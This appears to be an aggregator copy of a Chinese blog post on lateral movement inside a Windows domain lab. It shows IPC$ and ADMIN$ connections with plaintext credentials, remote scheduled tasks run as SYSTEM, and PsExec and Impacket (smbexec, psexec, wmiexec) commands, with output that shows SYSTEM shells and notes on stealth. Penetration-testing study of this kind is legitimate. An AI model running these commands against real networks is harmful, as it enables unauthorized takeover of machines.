惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
Application and Cybersecurity Blog
Application and Cybersecurity Blog
S
Securelist
K
Kaspersky official blog
Scott Helme
Scott Helme
C
CXSECURITY Database RSS Feed - CXSecurity.com
GbyAI
GbyAI
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
C
Cisco Blogs
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
博客园 - Franky
Security Latest
Security Latest
Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
Y
Y Combinator Blog
T
Threat Research - Cisco Blogs
L
LINUX DO - 热门话题
C
Cyber Attacks, Cyber Crime and Cyber Security
Project Zero
Project Zero
Cisco Talos Blog
Cisco Talos Blog
月光博客
月光博客
I
Intezer
cs.CL updates on arXiv.org
cs.CL updates on arXiv.org
人人都是产品经理
人人都是产品经理
L
Lohrmann on Cybersecurity
Recorded Future
Recorded Future
Latest news
Latest news
V2EX - 技术
V2EX - 技术
T
The Exploit Database - CXSecurity.com
H
Heimdal Security Blog
F
Fortinet All Blogs
Cloudbric
Cloudbric
IT之家
IT之家
博客园 - 叶小钗
Microsoft Security Blog
Microsoft Security Blog
P
Proofpoint News Feed
博客园 - 司徒正美
Apple Machine Learning Research
Apple Machine Learning Research
PCI Perspectives
PCI Perspectives
AWS News Blog
AWS News Blog
H
Help Net Security
S
Security @ Cisco Blogs
酷 壳 – CoolShell
酷 壳 – CoolShell
Recent Announcements
Recent Announcements
Hacker News - Newest:
Hacker News - Newest: "LLM"
cs.CV updates on arXiv.org
cs.CV updates on arXiv.org
F
Full Disclosure
S
Schneier on Security
S
Security Affairs
T
Tenable Blog

AresX's Blog

从两篇 X 文章开始:我第一次构建量化系统的回忆录 Xray Crack Patching SSL 指纹识别和绕过 HTB - You know 0xDiablos Docsify 自动生成sidebar.md脚本 Shiro高版本加密方式下的漏洞利用 Xray tomcat回显Gadget对应Payload提取 IDEA远程调试Docker中程序的方法 解决goldenPac报错问题 域渗透学习(七)PTT 票据传递攻击 域渗透学习(六)PTH 哈希传递攻击 域渗透学习(四)Dump Password & Hash 域渗透学习(三)域内信息搜集 域渗透学习(二)Kerberos协议 域渗透学习(一)Windows认证机制 Linux后门 JAVA反射机制瞎扯篇 戏说地狱三头犬 关于IPC和PTH用户权限问题 Goindex添加隐藏目录功能
域渗透学习(五)基于IPC的远程连接
AresX · 2020-03-21 · via AresX's Blog

域渗透学习(一)Windows认证机制
域渗透学习(二)Kerberos协议
域渗透学习(三)域内信息搜集
域渗透学习(四)Dump Password & Hash

windows默认情况下开启的共享:

当我们获取到可用于远程管理的账户时候,便可通过对ADMIN$目录建立IPC连接的方式远程连接到工作组或域内其他计算机,获取目标机器的控制权限

1
2
3
4
5
6
net use \\192.168.10.2 /u:domainname\administrator password 建立ipc连接
net use \\192.168.10.2 /de /y 删除ipc连接
net view \\192.168.10.2 查看共享目录
net view \\192.168.10.2\c$\users 列出指定目录文件
copy nbtscan.exe \\192.168.10.2\C$\windows\temp\ 复制文件
copy \\192.168.10.2\C$\windows\temp\hash.txt 下载文件

这里需要注意只能使用被添加到远程计算机管理员组的域用户来远程连接,具体原因参考关于IPC连接和Psexec的用户权限问题

即默认情况下只有域管用户有权限对admin$目录建立IPC连接,其实本地的Administrator用户也可以,但是默认情况下该用户是被禁用的,如果启用了该用户,那么也可以使用Administrator用户远程连接

计划任务执行命令

1
2
3
schtasks /create /tn task1 /U 域\域用户 /P 域用户密码 /tr 命令 /sc ONSTART /s 域机器ip /RU system
schtasks /run /tn task1 /s 192.168.10.2 /U 域/域用户 /P 域用户密码
schtasks /F /delete /tn task1 /s 域机器ip /U 域\域用户 /p 域用户密码

PSEXEC

可先建立ipc连接再使用psexec无需输入密码

1
2
net use \\IP /u:域名称\域账号 密码
psexec.exe \\192.168.10.2 -s cmd.exe -acceptcula 反弹cmd

或者直接使用psexec

1
.\PsExec.exe \\192.168.10.201 -u de1ay\Administrator -p 1qaz@WSX -s cmd.exe -acceptcula

Impacket

  • smbexec.py
1
2
3
4
5
PS C:\Users\AresX> smbexec.py de1ay/administrator:2wsx#[email protected]
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>
  • psexec.py
    与官方psexec.exe相比会自动删除服务,增加隐蔽性
1
2
3
4
5
6
7
8
9
10
11
12
13
14
PS C:\Users\AresX> psexec.py de1ay/administrator:2wsx#[email protected]
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[*] Requesting shares on 192.168.10.201.....
[*] Found writable share ADMIN$
[*] Uploading file XUUaBGPx.exe
[*] Opening SVCManager on 192.168.10.201.....
[*] Creating service eQxj on 192.168.10.201.....
[*] Starting service eQxj.....
[!] Press help for extra shell commands
Microsoft Windows [░µ▒╛ 6.1.7601]
░µ╚¿╦∙╙╨ (c) 2009 Microsoft Corporationíú▒ú┴⌠╦∙╙╨╚¿└√íú

C:\Windows\system32>

或者直接执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
PS C:\Users\AresX> psexec.py de1ay/administrator:2wsx#[email protected] whoami
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[*] Requesting shares on 192.168.10.201.....
[*] Found writable share ADMIN$
[*] Uploading file ktRkscJe.exe
[*] Opening SVCManager on 192.168.10.201.....
[*] Creating service YvrT on 192.168.10.201.....
[*] Starting service YvrT.....
[!] Press help for extra shell commands
nt authority\system
[*] Process whoami finished with ErrorCode: 0, ReturnCode: 0
[*] Opening SVCManager on 192.168.10.201.....
[*] Stopping service YvrT.....
[*] Removing service YvrT.....
[*] Removing file ktRkscJe.exe.....
  • wmiexec.py
1
wmiexec.py <域>/administrator:<密码>@192.168.10.201 <命令/也可留空返回伪交互shell>
1
2
3
4
5
PS C:\Users\AresX> wmiexec.py de1ay/administrator:2wsx#[email protected] whoami
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[*] SMBv2.1 dialect used
de1ay\administrator